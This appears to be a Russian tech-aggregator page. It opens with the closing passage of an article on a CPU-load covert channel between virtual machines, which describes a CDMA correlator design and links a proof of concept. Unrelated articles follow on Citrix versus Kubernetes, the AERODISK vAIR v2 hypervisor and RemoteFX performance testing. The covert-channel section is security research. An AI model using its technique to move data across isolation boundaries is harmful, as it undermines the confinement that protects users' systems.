rate_average;  // Просадка производительности если передатчик нагрузил ЦП}

Обратите внимание, что конкретно эта реализация загружает все ядра процессора работой, что, конечно, чрезвычайно расточительно. Для передачи данных в пределах одной ОС (т.е., не пересекая границы виртуализированных сред) можно ограничиться одним ядром, как уже было показано выше.

Снова хочу отметить, что вместо модуляции загрузки ЦП можно управлять чем угодно ещё. Например, можно загружать диск или забивать кэш процессора холодными данными из памяти. Единственное требование заключается в получении на выходе (зашумлённого) двоичного сигнала, который можно семплировать с достаточно высокой фиксированной частотой.

Полученный зашумлённый сигнал с удалённым постоянным смещением мы направляем в CDMA коррелятор, как я изобразил на схеме:

Принципиальная схема приёмного трактаПринципиальная схема приёмного тракта

Коррелятор направляет полученную последовательность выборок состояния среды передачи в массив каналов. Каждый канал имеет общую кодирующую последовательность, но смещение в пределах последовательности у каждого канала своё. Каждая полученная выборка сравнивается с кодирующей последовательностью канала; затем, в конце периода последовательности подсчитывается количество совпадений, которое определяется шумом в канале передачи и фазовым сдвигом относительно кодирующей последовательности передатчика. Итоговый сигнал извлекается взвешенным суммированием выхода каждого канала, где вес определяется корреляцией локальной кодирующей последовательности канала с полученным сигналом.

Аналогичным образом извлекается информация о фазе сигнала: на выходе каждого канала мы имеем пилообразный сигнал, представляющий фазу кодирующей последовательности текущего канала. Подсчитанная аналогично предыдущему случаю взвешенная сумма представляет очищенный от шума тактирующий сигнал, на основании которого дальнейшая логика приёмного тракта защёлкивает принятые биты данных.

Практические системы здесь обычно включают фазовую автоподстройку частоты для синхронизации длительности периода кодирующей последовательности между передатчиком и приёмником. Мы этого делать не станем в угоду простоте реализации. Вместо этого, состояние среды передачи будет семплироваться с утроенной частотой; соответственно, количество каналов коррелятора будет равно длине кодирующей последовательности, умноженной на три.

Знакомый с обработкой сигналов в телекомах читатель сейчас понимающе позёвывает, ведь похожие принципы используются во многих распространённых приложениях, от GPS до сотовых сетей. Для сравнения, типичная архитектура приёмного тракта GPS приёмника выглядит примерно так (каналы Qx на схеме можно проигнорировать, поскольку квадратурное разложение в нашей среде смысла не имеет):

Схема из "Principles of GNSS, inertial, and multisensor integrated navigation systems", P. D. Groves, 2-е изд.Схема из "Principles of GNSS, inertial, and multisensor integrated navigation systems", P. D. Groves, 2-е изд.

Использование достаточно длинной кодирующей последовательности позволяет установить канал связи с произвольно низкой вероятностью ошибок поверх произвольно зашумлённой среды. Впрочем, зависимость между скоростью и шумовым порогом, разумеется, является фундаментальной для телекомов вообще.

Прямое применение кодов Хэмминга здесь вряд ли оправданно, потому что условия, при которых могут возникать битовые инверсии сигнала, неизбежно приведут к искажениям тактового сигнала, из чего последуют пропуски либо спонтанное защёлкивание бит, что сделает коды Хэмминга неэффективными. Более совершенные методы коррекции ошибок вроде кодов Рида-Соломона или LDPC представляют интерес, но их реализация несколько выходит за рамки этого эксперимента ввиду сравнительно высокой сложности.

Полученные на выходе коррелятора биты декодируются в пакеты тривиальной логикой, зеркалирующей логику передатчика, что я привёл выше. Здесь её код я показывать не буду, вместо этого рекомендую сразу пройти на гитхаб и увидеть всё сразу:

https://github.com/pavel-kirienko/cpu-load-side-channel

Результат

Процесс передачи файла с одной виртуалки на другую я записал на видео:

Условия здесь были далеки от идеальных, потому что в фоне на хосте виртуализации работал ffmpeg (записывающий это видео в 4K в реальном времени на процессоре), браузер с ~30 вкладками и музыкой, вечно голодная до ресурсов плазма с виджетами и обычный набор каждодневного софта на моей рабочей станции. Я привожу это в качестве дополнительной иллюстрации (очевидного) факта, что устойчивость канала к шуму является лишь вопросом минимальной скорости передачи.

Последняя может вызвать у читателя здравое недоумение: на видео, тактовый период кодирующей последовательности был равен 16 мс, и её длина 1023 бит, т.е., передача одного бита занимала примерно 16 секунд, давая скорость около 0.06 бит в секунду. Передача семибайтового файла с CRC и разделителями заняла почти полчаса. Много ли можно дел наворотить на такой-то скорости?

Если сравнивать с M1RACLES (скорость передачи более 8 Mb/s), то нет. Если сравнивать с популярным предположением по-умолчанию об информационной изоляции виртуализированных сред (скорость передачи 0 b/s), то да.

Преодоление барьеров виртуализации сильно зашумляет канал, что требует использования более длинной кодирующей последовательности. Также увеличивается временной джиттер, что требует и увеличения продолжительности тактового периода. Процессы же в пределах одной ОС могут коммуницировать на скорости более одного бита в секунду, в чем легко убедиться на практике, поменяв параметры ChipPeriod и CDMACodeLength в PoC (я экспериментировал на Manjaro с ядром 5.4 на Intel Core i7 990X @ 4 GHz).

Поддержание канала в текущей реализации требует постоянной полной загрузки процессора (или хотя бы одного его ядра) процессом-приёмником, что может стать серьёзным ограничением. Это, вероятно, можно обойти использованием более сложных схем модуляции, либо модуляцией состояний других системных ресурсов; например, загрузки диска или кэша процессора. Желающие поэкспериментировать приглашаются поделиться результатами.

Также было бы интересно поэкспериментировать с передачей за пределы изолированных систем (airgapped networks), о чём писал Mordechai Guri и многие до него. Для этого можно подвергать модуляции шум системы охлаждения, температуру её выхлопа, ЭМИ, светодиоды на клавиатуре, и вообще всё, что имеет видимые внешние проявления.

Выводы

Я опубликовал заметку в /r/netsec об этом эксперименте, где в комментариях отметился Hector Martin, автор M1RACLES. Моя изначальная позиция была следующая: побочные каналы присутствуют всегда и в любой системе; M1RACLES лишь добавляет ещё один, а значит, это ничего кардинально не меняет. Если считать его уязвимостью, это делает любую систему в принципе уязвимой по-умолчанию, ведь побочные каналы устранить невозможно; значит, сам термин "уязвимость" применимо к компьютерным системам теряет информационную нагрузку.

Вероятно, сведущему в инфобезе человеку такой взгляд на вещи покажется наивным, я мало знаком с этой областью. Hector Martin скорректировал мои заблуждения, указав на то, что уязвимость как абсолютная метрика бессмысленна, всегда необходимо учитывать контекст. В этом смысле, наличие высокоскоростного канала скрытого обмена несколько расширяет множество реализуемых атак, следовательно, M1RACLES является вполне реальной уязвимостью, пусть и по-прежнему крайне малой значимости. Ниже релевантная часть его комментария для полноты:

We already know all systems are vulnerable to certain side-channel attacks. In particular, all systems with shared resources have side channels. Those side channels are easy to turn into covert channels, as you did. The bandwidth, and the severity, is proportional to how closely coupled the security domains are (as you found out, where the VM boundary reduces your performance). As the severity gets higher, you go from 1 bit per second covert channels, to megabytes per second covert channels, to actually being able to steal data from noncooperative entities (actual dangerous side channels) under increasingly less demanding circumstances.

[...]

So M1RACLES is interesting because it is not a side channel - so it poses no danger of leaking data from unwitting processes - but it is a highly efficient covert channel, which does matter under a very small but not nonexistent set of attack scenarios. Does it add covert channel capability where none existed prior? No. But that doesn't mean it's not a vulnerability; as I said, we don't qualify systems on some kind of absolute "vulnerable/not vulnerable" scale. We look at individual issues and then figure out how they affect the overall security of the system under certain attack scenarios.

Заодно он жёстко раскритиковал работу Mordechai Guri, указав на околонулевую дельту его публикаций. Однако, это я не берусь комментировать, поскольку в инфобезе не ориентируюсь. Для меня это всё представляет интерес лишь в контексте технической реализации обработки сигналов, нежели значения для отрасли.

Финальные выводы я сделал следующие:

  • ОС и гипервизоры не являются средствами информационной изоляции и не в состоянии предотвратить межпроцессный обмен данными.

  • Однако, скрытый межпроцессный обмен серьёзной угрозой не является.

  • M1RACLES количественно улучшает доселе существующие возможности скрытого обмена, но итоговый эффект остаётся незначительным.

Подробнее..

Угрожает ли микросервисная (контейнеризация) архитектура светлому будущему Published Apps (Citrix amp Co.)

12.04.2021 10:16:29 | Автор: admin
Идея данного опроса возникла в результате дискуссии с коллегами, навсегда завязавшими с темой Virtual App and Desktop и нашедшие себя в направлении Kubernetes/Cloud.

Несмотря на то, что последние годы моя профессиональная деятельность непосредственно связана с темой Citrix, я также как и мои коллеги не могу не заметить отсутствие особых перспектив развития технологии доступа к Apps посредством терминальных сессий (особенно on-Premise).

Прежде чем задать пару вопросов, хотелось бы подчеркнуть, что напрямую сравнивать как технологии, лежащие в основе Kubernetes и Citrix Virtual Apps and Desktops (MS RDS, VMware Horizon, Parallels RAS), так и сами продукты не совсем правильно. Но если рассмотреть конечную цель, для чего в конечном счёте существует IT, а именно для конечного пользователя, задача которого максимальной эффективностью и удобством выполнять поставленные перед ним задачи.

Смысл и цель использования виртуального приложения


Если мы вернёмся в далёкие конец 90-х начало 2000-х, в то время, когда Citrix начинал обретать свою популярность, все программы так или иначе являлись монолитами. Основанная разница была лишь в том, устанавливалась ли программа полностью на терминальном сервере или же на сервере был только фронтенд (например SAPGUI).

Как 20 лет назад так и сейчас использования терминальных серверов являлось более чем эффективным средством и позволяло решать следующее задачи: эффективное использование ресурсов, быстрота развёртывания и установки обновлений, а также переключение между версиями, безопасность (здесь есть как плюсы, так и минусы), простота контроля доступа к приложениям и т. д.

Почему сгущаются тучи?


Свою позицию коллеги объясняют следующим образом. Все больше и больше программных продуктов продолжают своё существование в качестве веб-приложений, многие просто создаются по принципу born in the cloud. Таким образом доля устанавливаемого на серверах программного обеспечения под Windows будет постоянно уменьшатся, превращая published application в ненужный анахронизм.

Буд рад Вашим комментариям! Спасибо!
Подробнее..

Гиперконвергентная система AERODISK vAIR v2. Часть 1. Система виртуализации АИСТ

14.04.2021 06:04:04 | Автор: admin


Всем привет. Этой статьей мы начинаем знакомить вас с новой версией российской гиперконвергентной системы AERODISK vAIR v2, в частности, со встроенным гипервизором АИСТ, который сейчас получил возможность работать автономно от vAIR, используя внешние СХД.


Изначально мы хотели рассказать о функциональности новой версии vAIR в одной статье, но материала получилось очень много, и мы встали перед выбором: либо сократить материал, либо разбить его на три части. Мы выбрали второй вариант и разбили материал следующим образом:


  • Управление кластером и гипервизор АИСТ
  • Файловая система ARDFS
  • Аппаратные платформы, лицензирование и поддержка

Соответственно, в первой части мы расскажем о функциях управления vAIR v2 и более подробно о подсистеме виртуализации. Но сначала хотелось бы сказать пару слов об архитектурных изменениях в версии vAIR v2.


Коротко об архитектуре. Основные отличия между первой и второй версией


С момента выхода первой версии в 2019 году архитектура vAIR претерпела ряд изменений. Связано это в первую очередь с борьбой за стабильность, ресурсоемкость и производительность. Однако обо всем по порядку.


Описывать полностью архитектуру с нуля мы рамках этой статьи не будем. Коснёмся лишь тех отличий, которые существуют в настоящий момент между первой и второй версией. Для более глубокого знакомства с изначальной архитектурой vAIR v1 рекомендуем ознакомиться с нашими предыдущими статьями на эту тему:



На уровне большой картинки на данный момент архитектура vAIR v2 выглядит следующим образом:



Ну а теперь переходим к деталям.


Косметические изменения


Незаметное внешнему глазу, но при этом важное и трудоемкое событие произошло в распределенной базе конфигураций (ConfigDB), которая отвечает за одновременное хранение конфигураций всех компонентов решения на всех нодах кластера. Мы полностью её переработали и, соответственно, оптимизировали. В итоге ConfigDB стала значительно стабильнее и минимизировала пожирание бесценных аппаратных ресурсов. Если говорить о цифрах, то за счёт переработки полезную производительность решения удалось увеличить примерно на 30%, что, очевидно, хорошо.


Стандартный блок данных, которым оперирует ARDFS, изменился с 4МБ до 64 МБ. Сделано это было также с целью увеличения производительности ввода-вывода.


Ещё одним маленьким, но приятным бонусом, который получился в результате оптимизации ARDFS и ConfigDB, стало снижение минимальных системных требований по количеству нод в кластере. Первая версия vAIR требовала не менее четырех нод, во второй-же версии начинать можно с трёх нод. Мелочь, но тоже приятно.


АИСТ покинул гнездо


Теперь перейдем к главному архитектурному изменению, с которого и начнем рассказ про подсистему виртуализации. Гипервизор АИСТ, который раньше умел работать только внутри vAIR, научился летать работать автономно и, соответственно, может поставляться отдельным продуктом по отдельной лицензии.


Для справки: и АИСТ, и vAIR как два отдельных продукта прошли всю необходимую экспертизу регуляторов и, соответственно, добавлены во всех необходимые гос. реестры Минцифры и Роспатента, чтобы по-честному считаться российским ПО.


Чтобы не было путаницы, поясним. По факту АИСТ и vAIR не являются разными продуктами. Гипервизор АИСТ это составная и обязательная часть гиперконвергентной системы vAIR, при этом АИСТ может использоваться в качестве самостоятельного решения, а также АИСТ может всегда быть обновлен до полноценного vAIR-а.


Данное архитектурное изменение не только позволяет импортозаместить зарубежную виртуализацию на российских предприятиях, но и открывает ряд крайне полезных сценариев использования vAIR. Разберем их:


Сценарий 1. Просто гиперконвергент


Тут все просто. АИСТ используется как составная часть vAIR и работает с хранилищем ARDFS. Это то, что было в первой версии, и остается сейчас.



Виртуальные машины, сеть и хранилище работают в рамках одной отказоустойчивой аппаратной платформы (3 ноды+).


Сценарий 2. Просто виртуализация


Классическая серверная виртуализация. На локальные диски физических серверов устанавливается АИСТ, к АИСТу пригоняются сторонние СХД по файловым или блочным протоколам, и на базе этих СХД хранятся виртуальные машины.



При этом в этой схеме всегда остается возможность добавить локальных дисков во все физические серверы, объединить их быстрым (от 10 Гбит/сек) интерконнектом и обновить лицензию АИСТа до vAIR, получив в итоге гибридный сценарий (см. ниже).


Сценарий 3. Гибридный сценарий


Самый интересный сценарий. Мы одновременно с гиперконвергентом используем в качестве хранилища виртуальных машин сторонние СХД (например ENGINE или ВОСТОК :-)). Полезным является то, что к любой виртуалке, которая хранится на ARDFS, мы можем легко прицепить дополнительные виртуальные диски с СХД. И наоборот, к любой виртуалке, которая лежит на СХД, мы можем прицепить виртуальные диски с ARDFS. Это открывает очень много возможностей, начиная с задач постепенной и бесшовной миграции инфраструктуры между разными хранилищами, заканчивая полезным использованием старых СХД и серверов хранения, которые и выкинуть жалко, и подарить некому.



В итоге, когда мы пишем vAIR, мы имеем ввиду большой продукт в целом гиперконвергентную систему, которая включает в себя гипервизор АИСТ и файловую систему ARDFS. А если мы пишем АИСТ, то имеем в виду только компонент, который отвечает за серверную виртуализацию и виртуальную сеть. Чтобы внести ещё больше ясности, приводим ниже таблицу с разбивкой функционала по компонентам.



Обзор функционала. Что нового и для чего


Функции управления


Управление системой осуществляется при помощи web-консоли на русском языке (поддерживаются любые браузеры) или командной строки. Важной и полезной плюшкой является то, что за счёт распределённого хранения конфигураций для осуществления управления всем кластером можно подключиться к любой ноде по IP или DNS-имени. Специальных серверов управления разворачивать не нужно. При этом это не запрещено.


Предусмотрен сценарий развертывания управляющей виртуальной машины (УВМ), которая через RestfulAPI может осуществлять полноценное управление всем кластером.


Кстати RestfulAPI, как понятно выше, есть, он описан и работает (по нему будет отдельная статья). Его спокойно можно использовать для автоматизации операций и интеграции со смежными системами. К примеру, уже сейчас есть интеграция (и, кстати, есть внедрение в продуктив) с российским VDI-решением Термидеск, как раз реализованная на базе нашего API. Плюс ещё несколько продуктов вендоров-партнеров на подходе.


Для управления виртуальными машинами изнутри гостевой ОС используется на выбор два протокола: VNC (по умолчанию) или Spice. На уровне отдельных ВМ администратор может задавать разные варианты подключений.



Сам интерфейс разбит на несколько логических частей.


1) Основная область управления, в которой выполняются почти все операции



2) Основное меню, которое выдвигается наведением курсора



3) Панель действий, на которой отображаются доступные для выбранного объекта действия.



4) Панель задач, которая показывает, какие задачи выполняются или были выполнены над выбранным объектом, вызывается выбором объекта и последующим кликом по кнопке задачи.



5) Ну и, наконец, информационная панель, которая показывает количество актуальных ошибок (красные) и выполняемых в данный момент действий (синие).



В целом после оптимизации распределенной БД интерфейс стал работать очень плавно и шустро, кроме того мы делали интерфейс сразу адаптивным и без привязки действий к правому клику мышки, и поэтому с ним спокойно можно работать даже с мобильного телефона.



Лирическое отступление: когда я эту функцию показал моему старому товарищу, который является тру-админом (то есть он админил системы в те славные времена, когда систем ещё не существовало) он воскликнул:
Вы нормальные там??!!! Нельзя админить серьезные системы через мобилу!!!
Хочу отметить, что во втором своём высказывании он, безусловно прав, лазить по серьезным кластерам через мобилку опасно, можно ткнуть не туда и всё как обычно упадёт, но всегда есть НО
Я напомнил ему ситуацию, в которую он попал несколько лет назад, когда потратил примерно 40 минут времени и 10 тонн мата на то, чтобы перезагрузить пару зависших виртуалок на известном гипервизоре, используя свой смартфон. Ноутбука у него с собой не было, а его заказчик с паром из ушей требовал устранить проблему здесь и сейчас.
Вспомнив об этом случае, мой товарищ тру-админ перестал сомневаться в нашей нормальности :-).

Пока непонятно насколько функция мобильного доступа будет востребована в итоге, но на всякий пожарный наличие этой функции на наш взгляд оправданно, а применять её или нет решат сами заказчики.


Гипервизор АИСТ


Не секрет, что в основе АИСТа лежит старый добрый KVM с libvirt-овой обвязкой. При этом наша реализация очень сильно доработана. Про годный веб-интерфейс, который управляет не только виртуализацией, но и сетью с хранилищем и который доступен, как с любой ноды, так и с управляющей ВМ, мы писали выше. Но это далеко не все доработки. Вот ещё несколько крайне достойных функций, которых в штатном KVM-е нет.


Отказоустойчивость виртуальных машин (HAVM) реализована классическим и понятным образом. Она может быть активна или неактивна для каждой виртуалки, а включается на этапе создания ВМ или в процессе её редактирования.



Если параметр HAVM активен, то в случае отказа ноды кластера, ВМ автоматически перезапуститься на другой ноде.


Для отдельных ВМ или для групп ВМ предусмотрены приоритеты обслуживания (QOS) из libvirt-а, где в свою очередь предусмотрены шаблоны популярных конфигураций.



Для защиты данных на уровне ВМ, а также для большей гибкости администрирования предусмотрены мгновенные снимки и клоны (которые можно превратить в шаблоны ВМ соответственно). Важной доработкой и одновременно крайне большой радостью является то, что снэпшоты делаются на горячую (при работающей ВМ) и полностью поддерживают консистентность файловых систем гостевых ОС (Linux, Solaris, Windows, BSD) и ряда поддерживаемых СУБД (пока только PostgreSQL и MySQL). При этом с помощью RestfulAPI никто не мешает реализовать консистентные снимки для других систем внутри гостевой ОС самостоятельно.


Для внешнего хранения из коробки поддерживается NFS, то есть хранить виртуалки можно на распределенном хранилище ARDFS (доступно в vAIR) или на внешней СХД по протоколу NFS. Опционально предусмотрена поддержка блочных внешних СХД по протоколам iSCSI и FC.


Миграция виртуальных машин со сторонних гипервизоров


Миграция, причем неважно откуда и куда, всегда стоит особняком во всей ИТ-жизни. За время полутора лет эксплуатации нашими заказчиками первой версии vAIR они (и мы автоматически) регулярно сталкивались с проблемами миграции виртуальных машин со сторонних гипервизоров в АИСТ. Штатный конвертер KVM штука хорошая, но крайне капризная. Поэтому в vAIR v2 (и в АИСТе соответственно) мы предусмотрели человеческий конвертер ВМ из VMware/Hyper-V прямо в интерфейсе vAIR/АИСТ.



Для конвертации администратор выбирает шару NFS (пока только NFS), где лежат файлы виртуальных машин VMware или Hyper-V. Далее vAIR сам сканирует шару на наличие нужных ему файлов и формирует доступный список для миграции. Далее выбираем целевой пул ARDFS (или внешнюю СХД), то есть куда будем конвертировать, выбираем нужные файлы ВМ (можно несколько, они будут конвертироваться по очереди) запускаем и идём пить пиво.



Когда пиво выпито, новые, уже сконвертированные, виртуалки ждут нас уже внутри vAIR-а в выключенном состоянии.


Мониторинг и логирование


Функции мониторинга реализованы как локально, так и удаленно. Администратор может работать со счетчиками утилизации ресурсов CPU, RAM, сетевых интерфейсов и подсистемой ввода-вывода (IOPS, MB/s, latency), как на уровне отдельных нод, так и на уровне кластера в целом.



Всё то же самое доступно и для удаленной системы мониторинга на базе Grafana.



Для логирования и алертинга предусмотрен журнал событий (ноды, порты, физические диски (SMARTCTL), сенсоры, температура и т.п.) с разбивкой по категориям и возможностью оповещения по электронной почте. Опционально поддерживается SNMP.




Кроме описанных выше возможностей гипервизор АИСТ позволяет выполнять функционал, который мы считаем must have, поэтому сильно его разрисовывать не будем, а просто перечислим:


  • Обновление ПО без остановки и миграции виртуальных машин
  • Живая миграция ВМ, а в ближайшем будущем с возможностью динамичного распределения ресурсов (а-ля DRS)
  • Распределённые виртуальные коммутаторы с поддержкой VLAN-ов
  • Расширение кластера без остановки виртуальных машин
  • Автоподдержка (автоматическое оповещение производителя и заведение тикетов в тех. поддержку, при согласии заказчика, само собой)
  • Метрокластер (отдельная большая функция, которой мы посветим позже отдельную статью)

Детально ознакомиться с особенностями функционала можно в технической документации, которая есть у нас на сайте:


https://aerodisk.ru/upload/Datasheet_AIST_final_11042021.pdf


В завершение первой части


В процессе разработки vAIR и АИСТ собственных решений в области виртуализации многие наши доверенные партнеры (которые допущены к раннему доступу), глядя на это, утверждали, что это плохая идея, потому что ВМварь и Нутаникс не догнать, они слишком крутые и великие, у них тысячи программистов по всей планете, бороды длиннее и свитера в два раза толще.


На подобные утверждения мы всегда задавали вопрос.


А эти компании сразу появились на свет с тысячей бородатых разрабов в толстых свитерах?

ИЛИ другой вариант


А вы когда родились вам сразу было 35 лет, у вас была машина, семья, дача, работа и образование? Это в комплекте вам врачи в роддоме выдавали?

В продолжении этой мысли позволим себе процитировать нашу же старую статью:


притча на эту тему.


Однажды странник попал в город, где шло грандиозное строительство. Мужчины ворочали большие камни под палящим солнцем. Что ты делаешь? спросил наш герой у одного из рабочих, который медленно тащил булыжник. Ты что, не видишь камни таскаю! зло ответил тот. Тут странник заметил другого рабочего, который волок телегу с большими камнями, и спросил: Что ты делаешь? Я зарабатываю на еду для своей семьи, получил он ответ. Странник подошел к третьему рабочему, который занимался тем же, но работал энергичнее и быстрее. Что делаешь ты? Я строю храм, улыбнулся тот.

О чем эта притча? О том, что если веришь в большую идею, видишь большую цель, то для тебя нет ничего невозможного, все достижимо. И каждый шаг, который приближает тебя к большой цели, удваивает твои силы. Существует устоявшийся миф о том, что разработка любого серьезного продукта, по силам только транснациональной корпорации, у которой обязательно сотни или тысячи программистов по всему миру.


В жизни это совсем не так. Практически всегда (за редким исключением), новый серьезный продукт создается небольшим коллективом до 10 человек (а обычно 2-3). При этом на этапе создания закладывается 80% всего функционала продукта. Далее продукт силами этого маленького коллектива выходит на рынок (или как-то еще громко заявляет о себе), и там его уже подхватывают инвесторы (фонды, холдинги или крупные производители).


Таким образом мы в свое время большую цель увидели и в большую идею поверили и время показало, что мы не ошиблись.


На этом мы завершаем первую часть цикла статей про vAIR v2. В следующей статье подробно расскажем о функционале файловой системы ARDFS.


Также в ближайшее время мы планируем организовать очередной вебинар ОколоИТ, где в прямом эфире поговорим про vAIR и все что его окружает. Тем вебинара есть несколько, от выбора темы зависит, кого мы позовём на вебинар. Поэтому мы хотим право выбора темы отдать в руки ИТ-сообщества и по этой причине запускаем голосование по темам следующего ОколоИТ.


Голосование доступно тут, на Хабре, а также в нашем телеграм-чате https://t.me/aerodisk


Всем спасибо за внимание, как обычно ждем конструктивной критики и интересных вопросов.

Подробнее..

Производительность RemoteFX, часть 1

14.04.2021 14:22:42 | Автор: admin

О технологии RemoteFX от Майкрософт, которая повышает качество работы в режиме удалённого рабочего стола, известно давно. В интернете хватает материалов, демонстрирующих её эффективность. Но большинство оценок носят качественный характер: "вот играем в %game_name%, fps в норме", "вот запустили 3D софт, как будто локально работает! Скриншот здесь, видео там".

В данном исследовании мы разберёмся, как перейти от "попугаев" к конкретным метрикам, чтобы количественно оценить эффективность технологии и объективно сравнить её использование с обычным режимом RDP.

Содержание
  • Кратко о RemoteFX

  • Конфигурация тестовой среды

    • Сервер

    • Клиент

  • Выбор показателей для измерений

  • Методика тестирования

    • Тест #1: ввод текста

    • Тест #2: ввод текста + 3D BenchMark

    • Тест #3: ввод текста + просмотр локальных видеофайлов

    • Тест #4: ввод текста + просмотр youtube-ролика

  • Обработка данных и построение графиков

  • Анализ результатов и наиболее интересные графики

    • Задержки при обработке ввода от пользователя

    • Частота кадров

    • Общие сетевые метрики

    • Загрузка центрального процессора

    • Загрузка видеокарты

  • Выводы

  • Что дальше

  • Список источников

  • Приложения

    • Переопределение групп сбора данных: _1_task_define.cmd

    • Принудительная остановка записи данных: _1_task_breake.cmd

    • Конвертация двоичных данных в CSV: blg2csv.cmd

    • Нормализация заголовков CSV: blg2csv.ps1

    • Jupiter Notebook: импорт данных

    • Jupiter Notebook: отрисовка одной метрики на диаграмму

    • Jupiter Notebook: отрисовка всех метрик на одной диаграмме

    • Диаграмма со всеми графиками

Кратко о RemoteFX

Традиционный RDP работает так, чтобы как можно больше работы по отрисовке окна удалённого рабочего стола переложить на клиента: по сети передаются графические примитивы и инструкции, которые должна выполнить клиентская видеокарта. Такой подход, в случае показа видео или использования интерфейса Windows Aero, требует поддержки со стороны клиента. Иначе вместо Aero будет использована упрощённая схема, а обработанный CPU сервера видеопоток передан клиенту в виде растровой графики, производительность отрисовки при этом может оказаться просто неприемлемой. Поэтому приходилось выбирать: либо использовать традиционный RDP только в связке с достаточно производительным клиентским железом, либо отказываться от сложной графики.

При включении RemoteFX клиенту по сети по прежнему передаются растровые кадры. Но есть два существенных отличия от традиционного RDP. Во-первых, вся подготовка и обработка графики перекладывается на GPU сервера, это происходит намного быстрее и разгружает CPU. А во-вторых, используется сжатие кадра, которое выполняет кодек RemoteFX. Это существенно снижает объём передаваемых по сети данных, тем самым разгружая канал связи. Это существенно снижает требования к клиентскому железу, но сохраняет достаточный уровень отрисовки и отзывчивости удалённого рабочего стола.

Конфигурация тестовой среды

Сервер

  • 2 vCPU Intel(R) Xeon(R) CPU E5-2696 v4 @ 2.20GHz

  • 8 GB RAM

  • GPU NVIDIA GRID M60-1Qб, Dedicated Memory 929 MB, Shared Memory 4095 MB

  • гостевая ОС Windows Server 2019 Standart x64 1809 (Version 10.0.17763.1577), DirectX 12

  • network in/out rate limit 50 Mbps

Клиент

  • Intel(R) Core(TM) i5-7600K CPU @ 3.80GHz, 3801 МГц, ядер: 4, логических процессоров: 4

  • 16 GB RAM

  • network in/out rate limit 100 Mbps

  • OS Windows 10 Pro 2004 (Version 10.0.19041.685), DirectX 12

  • настройки RDP-сеанса

    • 1920 x 1080 (32 bit) (32Hz)

    • на вкладке "Взаимодействие" выбрано "Локальная сеть (10 Мбит/с и выше)"

Выбор показателей для измерений

Качество и производительность удалённого рабочего стола нужно оценить с точки зрения как пользователя, так и потребления облачных ресурсов. Будем собирать данные о частоте кадров отрисовки, задержках отклика на ввод данных, сетевом трафике и загрузке CPU/GPU/RAM. Метрики выбраны с учётом официальныхрекомендаций по диагностике.

Замеры выполним с помощью стандартного средстваСистемный монитор. Для этого на каждый тест определим свой сборщик данных, который в течении двух минут будет каждую секунду фиксировать в двоичном blg-файле журнала показания счётчиков:

Показания
  • \Графика RemoteFX(*)\Качество кадра

  • \Графика RemoteFX(*)\Исходящих кадров в секунду

  • \Графика RemoteFX(*)\Входящих кадров в секунду

  • \Графика RemoteFX(*)\Среднее время кодирования

  • \Графика RemoteFX(*)\Коэффициент сжатия графических данных

  • \Графика RemoteFX(*)\Пропущено кадров в секунду у сервера недостаточно ресурсов

  • \Графика RemoteFX(*)\Пропущено кадров в секунду недостаточно сетевых ресурсов

  • \Графика RemoteFX(*)\Пропущено кадров в секунду у клиента недостаточно ресурсов

  • \Задержка ввода данных пользователем на сеанс(Max)\Максимальная задержка ввода

  • \Сведения о процессоре(_Total)\% загруженности процессора

  • \NVIDIA GPU(*)\% Video Decoder Usage

  • \NVIDIA GPU(*)\% Video Encoder Usage

  • \NVIDIA GPU(*)\% GPU Memory Usage

  • \NVIDIA GPU(*)\% GPU Usage

  • \NVIDIA GPU(*)\% FB Usage

  • \Сеть RemoteFX(*)\Потери

  • \Сеть RemoteFX(*)\Общая скорость отправки

  • \Сеть RemoteFX(*)\Общая скорость приема

  • \Сеть RemoteFX(*)\Скорость отправки TCP-данных

  • \Сеть RemoteFX(*)\Скорость отправки UDP-данных

  • \Сеть RemoteFX(*)\Общая скорость приема

  • \Сеть RemoteFX(*)\Скорость получения TCP-данных

  • \Сеть RemoteFX(*)\Скорость получения UDP-данных

  • \Сеть RemoteFX(*)\Пропускная способность текущего TCP-подключения

  • \Сеть RemoteFX(*)\Пропускная способность текущего UDP-подключения

  • \Память\% использования выделенной памяти

  • \Память\Доступно байт

PS. По непонятной причине данные по оперативной памяти не сохранялись в журнал при выполнении задания группы сбора, хотя "вживую"Системный мониторнормально строил графики по обоим показателям.Сброс кэша счётчиковне помог.

Методика тестирования

Чтобы оценить эффективность использования выделенной видеокарты на облачным сервере, нужно провести две серии одинаковых тестов: до и после включения отрисовки удалённого рабочего стола на GPU.

В каждой серии выполним следующие тесты:

  1. ввод текста

  2. ввод текста + 3D BenchMark

  3. ввод текста + просмотр локальных видеофайлов

  4. ввод текста + просмотр youtube-ролика

Для оценки влияния теста на задержку обработки ввода от пользователя поверх основной программы открывается стандартныйБлокноти зажимается произвольная клавиша. Окно редактора на протяжении теста будет постоянной частью всех кадров, поэтому исказит результат в лучшую сторону. Чтобы снизить эффект, размер окна уменьшим до 122*156% 99% кадра будут меняться и визуально будет видно, что имитация активности пользователя работает.

Тест #1: ввод текста

В качестве тестоврекомендуется"использовать любые приложения, которые плотно работают с графикой (например, потоковое видео), приложения, использующие DirectX". Результаты первого теста, с точки зрения пользователя (частота кадров и задержка ввода), практически одинаковые. Поэтому строить графики и анализировать их нет особого смысла. Такой тест больше пригодится для диагностики RemoteFX.

Тест #2: ввод текста + 3D BenchMark

Выполнялся при помощи FurMark в полноэкранном режиме.

Тест #3: ввод текста + просмотр локальных видеофайлов

Локальные видеофайлы воспроизводились в Windows Media Player, равёрнутом на весь экран, без установки каких-либо дополнительных кодеков, по кругу в следущем порядке:

  1. "Ants carrying dead spider": 1920 x 1080, 10667 кбит/с, 19 секунд, 29.97 fps

  2. "Flying Through Forest 1": 1920 x 1088, 48072 кбит/с, 9 секунд, 25 fps

  3. "Low Angle Of Pedestrians Walking In Busy Street, Daytime": 4096 x 2160, 31721 кбит/с, 13 секунд, 25 fps

Единственным критерием отбора была динамичность ролика: видеоряд должен был как можно сильнее нагрузить кодек RemoteFX. Но ролик "Flying Through Forest 1" оказался в этом плане интересной находкой: выходной FPS заметно проседал, а входной от запуска к запуску был сильно выше или ниже среднего! Его влияние на различные метрики будет заметно на графиках, которые будут ниже.

Тест #4: ввод текста + просмотр youtube-ролика

В качестве youtube-теста был выбран чудесный ролик "Коста-Рика", который проигрывался в качестве1080p60в браузере Firefox, режим "киоск".

Обработка данных и построение графиков

Файлы журналов -blg- имеют двоичный формат: легко открываются в родной программе, графики всех счётчиков на одной шкале, можно выключать/включать/масштабировать/etc. Но чтобы работать с данными из нескольких файлов, нужно другое решение.

Сначалаконвертируем двоичные файлы в csv (см. Приложение)с помощью стандартной утилитыreglogиочистим их заголовки (см. Приложение).

